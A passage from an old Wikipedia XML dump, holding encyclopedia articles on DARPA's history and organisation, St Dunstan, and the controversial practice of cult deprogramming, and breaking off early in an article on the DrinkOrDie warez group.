Near-term needs and requirements generally drive the Army, Navy, Marine Corps, and Air Force to focus on those needs at the expense of major change. Consequently, a large organization like DoD needs a place like DARPA whose only charter is radical innovation.

DARPA looks beyond today’s known needs and requirements. As military historians note, “None of the most important weapons transforming warfare in the 20th century – the airplane, tank, radar, jet engine, helicopter, electronic computer, not even the atomic bomb – owed its initial development to a doctrinal requirement or request of the military.” None of them. And to this list, DARPA would add unmanned systems, [[Global Positioning System]] (GPS) and Internet technologies.

DARPA’s approach is to imagine what capabilities a military commander might want in the future and accelerate those capabilities into being through technology demonstrations. These not only provide options to the commander, but also change minds about what is technologically possible today.&quot;

==History==

DARPA was created as the Advanced Research Projects Agency (ARPA), by Public Law 85-325 and Department of Defense Directive 5105.41, in February 1958.  Its creation was directly attributed to the launching of [[Sputnik]] and to U.S. realization that the [[Soviet Union]] had developed the capacity to rapidly exploit military technology.  Additionally, the political and defense communities recognized the need for a high-level Department of Defense organization to formulate and execute R&amp;D projects that would expand the frontiers of technology beyond the immediate and specific requirements of the Military Services and their laboratories.  In pursuit of this mission, DARPA has developed and transferred technology programs encompassing a wide range of scientific disciplines which address the full spectrum of national security needs.

From 1958-1965, ARPA's emphasis centered on major national issues, including space, ballistic missile defense, and nuclear test detection.  In 1960, all of its civilian space programs were transferred to the [[NASA|National Aeronautics and Space Administration (NASA)]] and the military space programs to the individual Services.  This allowed DARPA to concentrate its efforts on the [[DEFENDER (DARPA)|DEFENDER]] (defense against ballistic missiles), [[Project Vela]] (nuclear test detection), and [[AGILE (DARPA)|AGILE]] (counterinsurgency R&amp;D) Programs, and to begin work on computer processing, behavioral sciences, and materials sciences.  The DEFENDER and AGILE Programs formed the foundation of DARPA sensor, surveillance, and directed energy R&amp;D, particularly in the study of radars, infrared sensing, and x-ray/gamma ray detection.

In the late 1960s, with the transfer of these mature programs to the Services, ARPA redefined its role and concentrated on a diverse set of relatively small, essentially exploratory research programs.  The Agency was renamed the Defense Advanced Research Projects Agency (DARPA) in 1972, and in the early 1970s, it emphasized direct energy programs, information processing, and tactical technologies.

In the area of information processing, DARPA made great strides, initially through the development of [[time-sharing]] (all modern operating systems are descendants of the [[Multics]] system, which resulted from the work started by DARPA in this area), and later through the evolution of the [[ARPANET]] (a telecommunications network and precursor to the Internet), and research in the [[artificial intelligence|artificial intelligence (AI)]]  fields of speech recognition and signal processing.  DARPA also funded the development of the [[Douglas Engelbart]]'s [[NLS (computer_system)|NLS computer system]] and the [[Aspen Movie Map]], which was probably the first [[hypermedia]] system and an important precursor of [[virtual reality]].

The controversial [[Mansfield Amendment]] of 1973 expressly limited appropriations for defense research (through ARPA/DARPA) to projects with direct military application. Some contend that the amendment devastated American science, since ARPA/DARPA was a major funding source for basic science projects at the time; the [[National Science Foundation]] never took up the slack as expected. But the resulting [[brain drain]] is also credited with boosting the development of the fledgling personal computer industry. Many young computer scientists fled from the universities to startups and private research labs like [[Xerox PARC]].

From 1976-1981, DARPA's major thrusts were dominated by air, land, sea, and space technology, such as follow-on forces attack with standoff weapons and associated Command, Control, and Communications; tactical armor and anti-armor programs; infrared sensing for space-based surveillance; high-energy laser technology for space-based missile defense; antisubmarine warfare; advanced cruise missiles; advanced aircraft; and defense applications of advanced computing.  These large-scale technological program demonstrations were joined by integrated circuit research, which resulted in submicron electronic technology and electron devices that evolved into the Very Large Scale Integration ([[VLSI]]) Program and the Congressionally mandated charged particle beam program.  Many of the successful programs were transitioned to the Services, such as the foundation technologies in automatic target recognition, space based sensing, propulsion, and materials that were transferred to the [[Strategic Defense Initiative Organization|Strategic Defense Initiative Organization (SDIO)]], now known as the [[Ballistic Missile Defense Organization|Ballistic Missile Defense Organization (BMDO)]]. 

During the 1980s, the attention of the Agency was centered on information processing and aircraft-related programs, including the [[National Aerospace Plane (DARPA)|National Aerospace Plane (NASP)]] or [[Hypersonic Research Program (DARPA)|Hypersonic Research Program]]. The [[Strategic Computing Program (DARPA)|Strategic Computing Program]] enabled DARPA to exploit advanced processing and networking technologies and to rebuild and strengthen relationships with universities after the [[Vietnam War]]. In addition, DARPA began to pursue new concepts for small, lightweight satellites ([[LIGHTSAT (DARPA)|LIGHTSAT]]) and directed new programs regarding defense manufacturing, submarine technology, and armor/anti-armor.

==Current Organization==
DARPA has eight program offices, all of which report to DARPA director Dr. [[Anthony J. Tether]]:

#The [[Advanced Technology Office (DARPA)|Advanced Technology Office (ATO)]] researches, demonstrates, and develops high payoff projects in maritime, communications, special operations, command and control, and information assurance and survivability mission areas. 
#The [[Defense Sciences Office (DARPA)|Defense Sciences Office]] vigorously pursues the most promising technologies within a broad spectrum of the science and engineering research communities and develops those technologies into important, radically new military capabilities. 
#The [[Information Processing Technology Office (DARPA)|Information Processing Technology Office]] focuses on inventing the networking, computing, and software technologies vital to ensuring DOD military superiority.
#The [[Information Exploitation Office (DARPA)|Information Exploitation Office]] develops sensor and information system technology and systems with application to battle space awareness, targeting, command and control, and the supporting infrastructure required to address land-based threats in a dynamic, closed-loop process. 
#The [[Microsystems Technology Office (DARPA)|Microsystems Technology Office]] mission focuses on the heterogeneous microchip-scale integration of electronics, photonics, and microelectromechanical systems (MEMS). Their high risk/high payoff technology is aimed at solving the national level problems of protection from biological, chemical and information attack and to provide operational dominance for mobile distributed command and control, combined manned/unmanned warfare, and dynamic, adaptive military planning and execution.  
#The [[Special Projects Office (DARPA)|Special Projects Office (SPO)]] researches, develops, demonstrates, and transitions technologies focused on addressing present and emerging national challenges. SPO investments range from the development of enabling technologies to the demonstration of large prototype systems. SPO is developing technologies to counter the emerging threat of underground facilities used for purposes ranging from command-and-control, to weapons storage and staging, to the manufacture of weapons of mass destruction. SPO is also developing significantly more cost-effective ways to counter proliferated, inexpensive cruise missiles, UAVs, and other platforms used for weapon delivery, jamming, and surveillance. SPO is investing in novel space technologies across the spectrum of space control applications including rapid access, space situational awareness, counterspace, and persistent tactical grade sensing approaches including extremely large space apertures and structures. 
#The [[Tactical Technology Office (DARPA)|Tactical Technology Office]] engages in high-risk, high-payoff advanced military research, emphasizing the &quot;system&quot; and &quot;subsystem&quot; approach to the development of aeronautic, space, and land systems as well as embedded processors and control systems.
#The [[Joint Unmanned Combat Air Systems Office (DARPA)|Joint Unmanned Combat Air Systems (J-UCAS) Office]] is the DARPA activity charged with leading the DoD effort to develop and demonstrate the Joint Unmanned Combat Air Systems.

==Controversy==
DARPA received media attention in 2002 and 2003 after its creation of projects like the [[Information Awareness Office]] and [[Combat Zones That See]] (CTS), which civil liberties activists on both the left wing and right wing claim are unacceptably [[Orwellian]].

==ARPA and DARPA in culture==
In the [[Computer and video games|video game]] series ''[[Metal Gear Solid]]'', both ARPA and DARPA are mentioned as part of the plotline, and references how ARPA eventually became DARPA in the future. Note also the controversial proposal for a [[Policy Analysis Market]], using an electronic futures market to aid allowed trading of futures contracts based on possible political developments in several [[Middle Eastern| Middle East]] countries

==See also==
* '''Active Projects:''' [[Combat Zones That See]], [[High Energy Liquid Laser Area Defense System]], [[WolfPack]], [[FALCON (DARPA)|FALCON]], [[DARPA XG]]
* '''Past Projects:''' [[AGILE (DARPA)|AGILE]], [[Aspen Movie Map]], [[ARPANET]], [[DAML]], [[DARPA Grand Challenge]], [[DEFENDER (DARPA)|DEFENDER]], [[History of the Internet]], [[Hypersonic Research Program (DARPA)|Hypersonic Research Program]], [[LIGHTSAT (DARPA)|LIGHTSAT]], [[Multics]], [[NLS (computer system)|NLS Computer System]], [[Onion Routing]], [[Passive radar]], [[Policy Analysis Market]], [[Project MAC]], [[RQ-1 Predator]], [[Project Vela]], [[Sea Shadow]], [[Strategic Computing Program (DARPA)|Strategic Computing Program]], [[SURAN]], [[Thinking Machines]]
* '''Offices:''' [[Information Awareness Office]]
* '''People:''' [[Barry Boehm]], [[Vint Cerf]], [[Robert Fano]], [[James Hendler]], [[Bob Kahn]], [[JCR Licklider]], [[Robert Sproull]], [[John Poindexter]], [[Douglas Engelbart]], [[Anthony J. Tether]]Video game series : Splinter Cell has DARPA in it

== References ==
{{FOLDOC}}

==External links==
* [http://www.darpa.mil/ DARPA -  DARPA Home Page]
* [http://www.darpa.mil/body/pdf/transition.pdf DARPA Technology Transition] Lengthy presentation of DARPA technology successes
* [http://astachine.narod.ru/darpa_russ.htm DARPA-Russian Technological Concept Dictionary]
* [http://www.darpa.mil/grandchallenge Grand Challenge ][http://en.wikipedia.org/wiki/Artificial_intelligence] powered grand challenge for autonomous vehicles.

[[Category:DARPA| ]]

[[ar:داربا]]
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[[es:Defense Advanced Research Projects Agency]]
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[[ja:防衛高等研究計画局]]
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    </revision>
  </page>
  <page>
    <title>Dunstan</title>
    <id>8958</id>
    <revision>
      <id>40363051</id>
      <timestamp>2006-02-20T01:47:33Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">''Dunstan is also a village in Northumberland, and a [[Lake Dunstan|lake in New Zealand]]''
[[Image:Dunstan and the Devil - Project Gutenberg eText 13978.png|thumbnail|250px|right|Dunstan shoeing the Devil's hoof, as illustrated by [[George Cruikshank]]]]
'''Dunstan''' ([[909]]&amp;ndash;[[May 19]] [[988]]) was an [[Archbishop of Canterbury]] ([[961]]&amp;ndash;[[988]]) who was later [[canonization|canonized]] as a [[saint]]. He gained fame for the many stories told about his cunning in dealing with the [[Devil]].

He began his career at [[Glastonbury]], becoming abbot in [[945]].  The abbey flourished under his administration, with a substantial extension of the irrigation system on the surrounding [[Somerset Levels]]. Following the accession of King [[Edwy of England]], he became less influential and went overseas to [[Flanders]]. On his return, in [[957]], he imported [[Benedictine]] customs, becoming bishop of [[Worcester, England|Worcester]] and [[London]] in [[959]], and in [[961]] became Archbishop of Canterbury, under King [[Edgar of England]]. Having crowned Edgar in [[973]], he performed the same service for his successor, [[Edward the Martyr]], and later for [[Ethelred the Unready]]. The service is still used as the basis for contemporary [[United Kingdom|British]] coronations. He died in [[988]] and was canonized in [[1029]].

He functions as the [[patron saint]] of [[goldsmith]]s, and himself worked as a [[blacksmith]], [[painter]], and [[jeweller]]. [[English literature]] contains many references to him, for example in [[A Christmas Carol]] by [[Charles Dickens]], and in this folk rhyme:

:St Dunstan, as the story goes,
:Once pull'd the devil by the nose
:With red-hot tongs, which made him roar,
:That he was heard three miles or more.

From this the tongs have become a symbol of St Dunstan and are featured in the arms of [[Tower Hamlets]].

Another story relates how Dunstan nailed a horseshoe to the Devil's hoof when he was asked to reshod the Devil's horse. This caused the Devil great pain, and Dunstan only agreed to remove the shoe and release the Devil after he promised never to enter a place where a horseshoe is over the door. This is claimed as the origin of the lucky horseshoe.

The Church marks his [[feast day]] on [[May 19]].

==Churches dedicated to St Dunstan==
* [[St Dunstan's, Mayfield]]
* [[St Dunstan's, Stepney]]
* St. Dunstan's, Auburn, AL
* [http://st-dunstans-episcopal.us St. Dunstan's Church of the Highlands Parish, Shoreline, Washington]

&lt;center&gt;
&lt;table border=&quot;2&quot;&gt;
&lt;tr&gt;
&lt;td width=&quot;30%&quot; align=&quot;center&quot;&gt;Preceded by:&lt;br /&gt;
'''[[Coenweld ]]'''&lt;/td&gt;
&lt;td width=&quot;40%&quot; align=&quot;center&quot;&gt;'''[[Bishop of Worcester]]'''&lt;/td&gt;
&lt;td width=&quot;30%&quot; align=&quot;center&quot;&gt;Followed by:&lt;br /&gt;
'''[[St. Oswald]]'''&lt;/td&gt;
&lt;/tr&gt;
&lt;td width=&quot;30%&quot; align=&quot;center&quot;&gt;Preceded by:&lt;br /&gt;
'''[[Byrrthelm]]'''&lt;/td&gt;
&lt;td width=&quot;40%&quot; align=&quot;center&quot;&gt;'''[[Bishop of London]]'''&lt;/td&gt;
&lt;td width=&quot;30%&quot; align=&quot;center&quot;&gt;Followed by:&lt;br /&gt;
'''[[Aelstan]]'''&lt;/td&gt;
&lt;/tr&gt;
&lt;td width=&quot;30%&quot; align=&quot;center&quot;&gt;Preceded by:&lt;br /&gt;
'''[[Aelfsige]]'''&lt;/td&gt;
&lt;td width=&quot;40%&quot; align=&quot;center&quot;&gt;'''[[Archbishop of Canterbury]]'''&lt;/td&gt;
&lt;td width=&quot;30%&quot; align=&quot;center&quot;&gt;Followed by:&lt;br /&gt;
'''[[Æthelgar]]'''&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/center&gt;

==Popular culture==
* In the [[Dark Horse Comics]] series [[Hellboy]] by [[Mike Mignola]], the legend of St. Dunstan is referenced in the story ''Box Full of Evil'' (a two-issue tale included in the graphic novel ''The Right Hand of Doom'').  The story is embellished upon so that not only did St. Dunstan pinch the devil's nose with tongs, he also hammered the devil's head on an anvil before sealing him away in a box.  A thousand years later, in the present day, the box and its key are recovered by the scam artist Igor Bromhead, who opens it.  In doing so he unleashes its captive devil Ualac, a minor demon of Hell who covets Hellboy's Crown of the Apocalypse.
*In [[Robertson Davies|Robertson Davies']] acclaimed novel ''[[Fifth Business]]'', at the prompting of his lover, the protagonist changes his name from Dunstable to [[Dunstan Ramsay]] based on the saint's life and personality.  Ramsay is meant to personify Saint Dunstan in the novel, especially considering the saint's meeting with the [[Devil]].
* [[Manly Wade Wellman]] often made reference to St. Dunstan in his stories.  His [[occult detective]] character [[Judge Pursuivant]] carried a [[sword cane]] with a silver blade forged by the saint.  A later character, [[John Thunstone]] had even closer connections to the character.  The name &quot;Thunstone&quot; was meant to evoke &quot;Dunstan.&quot;

==External links==
*[http://www.gutenberg.net/etext/13978 The True Legend of St. Dunstan and the Devil], by Edward G. Flight, Illustrated by [[George Cruikshank]], published in 1871, and available from [[Project Gutenberg]]



&lt;!--Categories--&gt;

[[Category:909 births]]
[[Category:988 deaths]]
[[Category:Anglo-Saxon saints]]
[[Category:Benedictines]]
[[Category:Archbishops of Canterbury]]
[[Category:English folklore]]
[[Category:Blacksmiths]]

[[ang:Dūnstān]]
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    </revision>
  </page>
  <page>
    <title>Deprogramming</title>
    <id>8960</id>
    <revision>
      <id>35432343</id>
      <timestamp>2006-01-16T19:11:14Z</timestamp>
      <contributor>
        <username>Deltabeignet</username>
        <id>195366</id>
      </contributor>
      <comment>merged part of lead</comment>
      <text xml:space="preserve">'''Deprogramming''' refers to actions to force a person to abandon allegiance to a religious group. Most deprogrammings in the U.S. and Japan are commissioned by parents of adult children, which has lead to controversies over [[freedom of religion]] and [[civil rights]]. 

Supporters of deprogramming portray the practice as an antidote to illegitimate or deceptive [[religious conversion]] practices by &quot;[[cult]]s&quot;, variously called [[mind control]], [[brainwashing]], [[thought reform]], or [[coercive persuasion]]. They describe it as a last resort for families who feel that their loved ones have been taken away from them.

The validity and legality of deprogramming has been attacked by members of [[new religious movement]]s (NRM), by professor [[Eileen Barker]], and other scholars.  Their common argument asserts that it is dangerous and illegal to [[kidnap]] someone from any organization in which they voluntarily participate.  Barker further argues that if the deprogramming fails then it will only widen the rift between the member of the NRM and his or her family.

Sometimes the word ''deprogramming'' is used in a wider sense, to mean the freeing of someone (often oneself) from any previously uncritically assimilated [[idea]].

== Deprogramming procedures ==

There has never been any &quot;standard&quot; deprogramming procedure and the descriptions vary greatly. There are many anecdotal reports and studies involving interviews of former deprogrammees. [[Steve Dubrow-Eichel]] did a professional study and analysis of the deprogramming of an [[ISKCON]] member which he accompagnied and taped to a great part (with voluntary consent of all participants).

Deprogrammers generally operate on the assumption that the persons they are paid to extract from religious organizations are victims of [[mind control]] (or &quot;[[brainwashing]]&quot;). Books written by deprogrammers and [[exit counseling|exit counselor]]s assert that the most essential part of &quot;freeing the mind&quot; of the person is to convince him that he had been under &quot;control&quot;. 

In practice, the vast majority of the time spent during deprogramming sessions is the marshalling of evidence aimed at proving that the &quot;cult&quot; deceived and manipulated the recruit into joining. Once the person accepts this premise, the remainder of the process is relatively easy.

Psychologist Steve Dubrow-Eichel found in published deprogramming accounts besides a lot of variations a number of common factors:
* voluntary or involuntary removal from the cultic milieu
* establishing a personal relationship
* disputing cult information and imparting new information on the cult
* interference with cult-supported attentional patterns used to block oneself from outside influences (chanting, self-induced trance states, etc.)
* an overt or covert sign that the deprogrammee has renounced his or her allegiance to the cult

The deprogramming observed by Dubrow-Eichel did not stress emotion, but information and logical analysis of contradiction between words and deeds of the ISCON leaders.

[[Ted Patrick]], one of the pioneers of deprogramming, used a confrontational method:
:&quot;When you deprogram people, you force them to think. ... But I keep them off balance and this forces them to begin questioning, to open their minds. When the mind gets to a certain point, they can see through all the lies that they've been programmed to believe. They realize that they've been duped and they come out of it. Their minds start working again. &quot;

Sylvia Buford, an associate of Ted Patrick who has assisted him on many deprogrammings, described five stages of deprogramming (Stoner, C., &amp; Parke, J. (1977). All God's children: The cult experience - salvation or slavery? Radrior, PA: Chilton ):
* Discredit the figure of authority:  the cult leader
* Present contradictions (ideology vs. reality): &quot;How can he preach love when he exploits people?&quot; is an example.
* The breaking point:  When a subject begins to listen to the deprogrammer; when reality begins to take precedence over ideology.
* Self-expression:  When the subject begins to open up and to voice some of his own gripes against the cult.
* Identification and transference:  when the subject begins to identify with the deprogrammers, starts to think of himself as an opponent of the cult rather than a member of it. 

=== Deprogramming and kidnapping ===

Deprogramming has often been associated with [[kidnapping]], which has in some cases been part of the procedure. The percentage of cases involving kidnapping varies a lot, depending on the source.  Joseph Szimhart, a former deprogrammer, says ''&quot;until [[1992]], in a low percentage of my cases, included situations in which families elected to confine and sometimes abduct a 'cultist' to a deprogramming.&quot;'' (Kent &amp; Szimhart, 2002). Former deprogrammer Rick Ross states that 90% of his deprogrammings since [[1982]] had been voluntary  [http://www.rickross.com/reference/deprogramming/deprogramming9.html], other figures talk about 30% of the cases including kidnapping.

=== Deprogramming and violence ===

The deprogramming accounts vary a lot regarding the use of force, with the most dramatic accounts coming from deprogrammees who returned to the cult.

[[Steven Hassan]] in his book ''Releasing the Bonds'' spoke decidedly against coercive deprogramming methods using force or threats.

The deprogramming case observed by Dubrow-Eichel did not include any violence.

Sociologist Eileen Barker wrote in [http://www.cesnur.org/2001/london2001/barker.htm Watching for Violence]:
:&quot;Although deprogramming has become less violent in the course of time ... Numerous testimonies by those who were subjected to a deprogramming describe how they were threatened with a gun, beaten, denied sleep and food and/or sexually assaulted. But one does not have to rely on the victims for stories of violence: [[Ted Patrick]], one of the most notorious deprogrammers used by CAGs (who has spent several terms in prison for his exploits) openly boasts about some of the violence he employed; in November 1987, [[Cyril Vosper]], a Committee member of the British cult-awareness group, [[Family Action Information Resource|FAIR]], was convicted in Munich of &quot;causing bodily harm&quot; in the course of one of his many deprogramming attempts; and a number of similar convictions are on record for prominent members of CAGs elsewhere.&quot; 

In ''Colombrito vs. Kelly'', the Court accepted the definition of deprogramming by J. Le Moult published in 1978 in the Fordham Law Review:
:&quot;Deprogrammers are people who, at the request of a parent or other close relative, will have a member of a religious sect seized, then hold him against his will and subject him to mental, emotional, and even physical pressures until he renounces his religious beliefs. Deprogrammers usually work for a fee, which may easily run as high as $25,000. The deprogramming process begins with abduction. Often strong men muscle the subject into a car and take him to a place where he is cut from everyone but his captors. He may be held against his will for upward of three weeks. Frequently, however, the initial deprogramming only last a few days. The subject's sleep is limited and he is told that he will not be released until his beliefs meet his captors' approval. Members of the deprogramming group, as well as members of the family, come into the room where the victim is held and barrage him with questions and denunciations until he recants his newly found religion &quot;

Exit counselor Carol Giambalvo writes in [http://www.csj.org/studyindex/studyintervention/study_deprog_threfrmconsult.htm From Deprogramming to Thought Reform Consultation]
:&quot;It was believed that the hold of the brainwashing over the cognitive processes of a cult member needed to be broken – or &quot;snapped&quot; as some termed it – by means that would shock or frighten the cultist into thinking again. For that reason in some cases cult leader's pictures were burned or there were highly confrontational interactions between deprogrammers and cultist. What was often sought was an emotional  response to the information, the shock, the fear, and the confrontation. There are horror stories – promoted most vehemently by the cults themselves – about restraint, beatings, and even rape. And we have to admit that we have met former members who have related to us their deprogramming experience – several of handcuffs, weapons wielded and sexual abuse. But thankfully, these are in the minority – and in our minds, never justified. Nevertheless, deprogramming helped to free many individuals held captive to destructive cults at a time when other alternatives did not seem viable. &quot;

== History ==

The American Ted Patrick was one of its most prominent proponents. Most of the deprogramming cases took place in the [[United States]], with only sporadic cases in [[Western Europe]].  In Europe, attempts to justify deprogramming continue on the basis of opinions by psychiatrists and psychologists, even though in the United States, such opinions have been successfully challenged in court and debunked by the [[APA]]. [http://www.cesnur.org/conferences/BrainWash.htm]

:&quot;The number of forcible deprogrammings had diminished by the end of the [[1980s]]. Not only did the anticult movement lose the academic battle to make its theories accepted, the legal battle to make its activity excusable, and the legislative battle to pass laws that would allow it to 'legalize' its activity, but it also became obvious how easy it was to defeat deprogramming. The person just had, at some point, to pretend to go along with deprogrammers. The deprogrammer then 'recognized' that the person had snapped out of the cult 'mind-control' (which proves that this notion is based on nothing else than animus towards the person's choice) and switched to the 'rehabilitation' phases, then released him - after which the deprogrammer found himself in front of the Court.&quot; [http://bernie.cncfamily.com/sc/can.htm]

==Controversy and related issues==

One of the points which fired deprogramming controversies was the fact that they were in the majority of cases successful.

One of main objections raised to deprogramming (as well as to [[exit counseling]]) is the contention that they begin with a false premise. Lawyers for some groups who have lost members due to deprogramming, as well as some [[civil libertarian]]s, [[sociologist]]s and [[psychologist]]s, argue that it is not the religious groups but rather the deprogrammers who are the ones who deceive and manipulate people.

Public support for deprogramming hinges on the degree to which people agree or disagree with the [[mind control]] model. In the United States, from the mid-[[1970s]] and throughout the [[1980s]] [[mind control]] was widely accepted, and the vast majority of [[newspaper]] and [[magazine]] accounts of deprogrammings assumed that recruits' relatives were well justified to seek [[conservatorship]]s and to hire deprogrammers. It took nearly 20 years for public opinion to shift.

One aspect that gradually became disturbing from a civil rights point of view, was that relatives would use deception, or legal dealings or even kidnapping to get the recruit into deprogrammers' hands, without allowing the person any recourse to a lawyer or psychiatrist of their own choosing. In the old days, there would be a sanity hearing first, and only then a commitment to an asylum or involuntary therapy. But with deprogramming, judges routinely granted parents legal authority over their adult children without a hearing.

After 10 or 15 years of this, some adult children began suing their parents or deprogrammers. Also, in the mid-1980s, psychologist [[Margaret Singer]] lost her status as an [[expert witness]] when the APA declined to endorse the DIMPAC report. From this point on, deprogramming's legal basis almost immediately vanished, and some deprogrammers re-styled themselves as &quot;exit counselors&quot;. See also ''[[Brainwashing#Brainwashing_controversy_in_new_religious_movements|Brainwashing controversy in new religious movements]]''.

Since that time, deprogramming has been virtually unknown in the United States.

Deprogrammers claim that the voluntary participation is due to &quot;[[mind control]],&quot; a controversial theory that a person's thought processes can be changed by outside forces. They justify this intervention or &quot;therapy&quot; as necessary to bring the person out from under the influence of the group's &quot;mind control.&quot; The existence of mind control is widely disputed, and sometimes dismissed as [[pseudoscience]] by the [[psychiatry|psychiatric establishment]].  Modern [[behaviorism|behavorist psychology]], however, can do much to explain the ability of external forces to control actions even if it has studied little regarding the internal thought processes associated with them (although [[relational framing]] and other theoretical constructs hedge into such territory).  Present-day psychological principles suggest that traditional deprogramming approaches would almost certainly be inferior to other forms of intervention.  Even supposing mind control is possible, it would be extremely difficult to prove to a legal standard that any individual person's mind has been controlled.  In light of the legal and psychological issues, less intrusive and more patient-oriented interventions will likely replace this practice completely.

Deprogramming has fallen into disfavor because of its controversial aspects.  As a result of the CAN judgement, a number of prominent [[anti-cult movement|anti-cult group]]s and persons have distanced themselves from the practice, noting that a less intrusive form of intervention called exit counseling has been shown to be more effective, less harmful, and less likely to lead to legal action.  Organizations often referred to as cults, such as the [[Scientology|Church of Scientology]], insist that the practice is still commonplace, and they often make statements that their critics and opponents are &quot;deprogrammers.&quot;

The [[American Civil Liberties Union]] published a statement in 1977 in which they position deprogramming as a violation of constitutional freedoms:
:&quot;ACLU opposes the use of mental incompetency proceedings, temporary conservatorship, or denial of government  protection as a method of depriving people of the free exercise of religion, at least with respect to people who have reached the age of majority. Mode of religious proselytizing or persuasion for a continued adherence that do not employ physical coercion or threat of same are protected by the free exercise of religion clause of the First Amendment against action of state laws or by state officials. The claim of free exercise may not be overcome by the contention that 'brainwashing' or 'mind control' has been used, in the absence of evidence that the above standards have been violated.&quot;

In the 1980s in the United States, namely in [[New York]] (Deprogramming Bill, 1981), [[Kansas]] (Deprogramming Bill, 1982), and [[Nebraska]] (conservatorship legislation for 1985), the anti-cult movement attempted several times to pass laws that would allow to legalize deprogramming. These attempts were unsuccessful.

==People and Places==

During the [[1990s]], [[Rick Ross]], a noted cult intervention advocate who allegedly took part in a number of deprogramming sessions, was sued by a former member of a group called the [[Life Tabernacle Church]] after an attempt at intervention was unsuccessful.  He was ordered to pay damages of about $5 million, though this amount was later rescinded.  This legal case was expanded to include a prominent anti-cult group called the [[Cult Awareness Network]] (CAN).  The judgement was used to force CAN into bankruptcy, and its name and assets were purchased by a representative of the [[Church of Scientology]], which had been frequently criticized by CAN, shortly afterwards.  This case was seen as effectively closing the door on the practice of deprogramming.

A notable case is the [[Jason Scott (Life Tabernacle Church)|Jason Scott]] case, in which a jury awarded him $875,000 in compensatory damages and punitive damages in the amount of $1,000,000 against the [[Cult Awareness Network]] and  $2,500,000 which were later reduced to $5,000 against deprogrammer [[Rick Ross]] for Scott's abduction during the failed attempt to deprogram him (Scott vs. Ross, Workman, Simpson, Cult Awareness Network). 

Patrick was found guilty of kidnapping a 25-year old woman of Tucson, Ariz., in order to &quot;deprogram&quot; her in 1980.

In the case of Kathy Crampton, she went back to the group Love Israel several days after the apparently successful deprogramming. Patrick was charged for kidnapping, but he was acquitted with the reasoning:
:&quot;[w]here parents are, as here, of the reasonable and intelligent belief that they were not physically capable of recapturing their daughter from existing, imminent danger, then the defense of necessity transfers or transposes to the constituted agent, the person who acts upon their belief under such conditions. Here that agent is the Defendant [Ted Patrick] '' ((District Court of the United States 1974: 79; New York Times 1974).

[[Steve Hassan]], author of the book ''Combatting Cult Mind Control'', states that he took part in a number of deprogrammings in the late 1970s, but he no longer approves of the practice and has not participated in any deprogrammings since then. He is one of the major proponents of [[exit counseling]] as a form of intervention therapy, and he refers to his method as &quot;strategic intervention therapy.&quot;

==See also==

*[[Opposition to cults and new religious movements]]
* [[Intervention (counseling)]]

{{cult mind control links}}

==Bibliography==

* Conway, Flo &amp; Jim Siegelman, ''Snapping'' (1978), [http://www.rickross.com/reference/deprogramming/deprogramming7.html excerpt] ISBN 0964765004
* Colombrito v. Kelly, 764 F.2d 122 (2d Cir. 1985)
* Dubrow-Eichel, Steve K., Ph.D.: ''Deprogramming: A Case Study'', Cultic Studies Journal
*  [[Stephen A. Kent]] and [[Josef Szimhart]]: ''Exit Counseling and the Decline of Deprogramming.'', Cultic Studies Review 1 No.3, 2002
* [[Michael Langone|Langone, Michael]]: ''Deprogramming, Exit Counseling, and Ethics, Clarifying the Confusion'', Christian Research Institute Journal, 1993 [http://www.iclnet.org/pub/resources/text/cri/cri-jrnl/web/crj0121a.html]
* [[J. Gordon Melton|Melton, Gordon, J.]] ''&quot;Brainwashing&quot;: Career of a Myth in the United States and Europe'', . [http://www.cesnur.org/conferences/BrainWash.htm]
* Le Moult J. (1978), ''Deprograrnming members of religious sects'', Fordham Law Review, 46, pp. 599-640.
* [[Rick Ross|Ross, Rick]]: ''A brief history of cult intervention work'', 1999 [http://www.culteducation.com/standards.html]
* Szimhart, Joseph: ''Persistence of &quot;Deprogramming&quot; Stereotypes in Film'', Cultic Studies Journal, 3/2 2004

==Dramatization==

*[[Holy Smoke!]] 1999 movie based on the book with the same name

==External links==

*[http://www.cesnur.org/testi/se_brainwash.htm Brainwashing and Mind Control Controversies] - Center for Studies on New Religions 
* [http://www.freedomofmind.com/ Center for Freedom of Mind] - espouses &quot;mind control&quot; idea
* [http://www.apologeticsindex.org/ Apologetics Index] Collection of research resources on religious cults, sects, world religions, doctrines, and related issues.  While operated from an evangelical Christian perspective, the entries also include links to material from a variety of viewpoints.
* [http://www.religionnewsblog.com Religion News Blog] Up-to-date news about religious cults, sects, world religions, and related issues.
*[http://www.bezinningscentrum.nl/teksten/wim_eng/oracle.htm The Oracle of Ifa and the Verdict of the Court: A failed attempt to deprogram from the African &quot;Ifa&quot; religion] article by Wim Haan (see [[Ifá|Ifá religion]])

{{cults}}

[[Category:Religion and society]]
[[Category:Moral panics]]
[[Category:Cults]]
[[Category:Anti-cult terms and concepts]]

{{merge|exit counseling}}</text>
    </revision>
  </page>
  <page>
    <title>DrinkOrDie</title>
    <id>8961</id>
    <revision>
      <id>41954188</id>
      <timestamp>2006-03-02T21:28:21Z</timestamp>
      <contributor>
        <username>Hoovernj</username>
        <id>122559</id>
      </contributor>
      <text xml:space="preserve">[[image:DOD NFO.png|thumb|right|320px|DrinkOrDie [[ASCII art|ASCII]] [[NFO]] header.  Their slogan reads &quot;''warez bearz from Russia and beyond''&quot;.]]

'''DrinkOrDie''' ('''DoD''') was an underground [[software cracking]] and [[warez]] trading network during the [[1990s]], shut down by a major raid in [[2001]].

DrinkOrDie was founded in [[1993]] in [[Moscow]] by a [[Russia]]n with the [[pseudonym|handle]] &quot;deviator&quot; and a friend who went by &quot;CyberAngel.&quot; By [[1995]], the group was global. One of its earliest major accomplishments was the [[Internet]] release of [[Windows 95]] two weeks before [[Microsoft]] released the official version. It is also known for its DoD [[DVD]] Speed Ripper released in [[1999]] shortly before [[DeCSS]]. The activity of the DoD group diminished after [[1996]], and they were not considered major players in the warez scene by [[2000]]. The DrinkOrDie network is considered criminal for [[copyright]] [[copyright infringement|infringement]]. As a rule, they made no financial [[profit]] from their activities.

The DoD network primarily consisted of [[university]] [[undergraduate]]s, but was supported by software company employees, who would leak copies of software and other [[digital media]]. DoD also received such [[computer file|files]] indirectly, from other networks. 

==Member raids==
In [[2001]] the group was busted in an [[Federal Bureau of Investigation|FBI]] operation called [[Operation Buccaneer]]. At the time, DrinkOrDie had two leaders, one in the [[United States]] and another in [[Australia]]. 

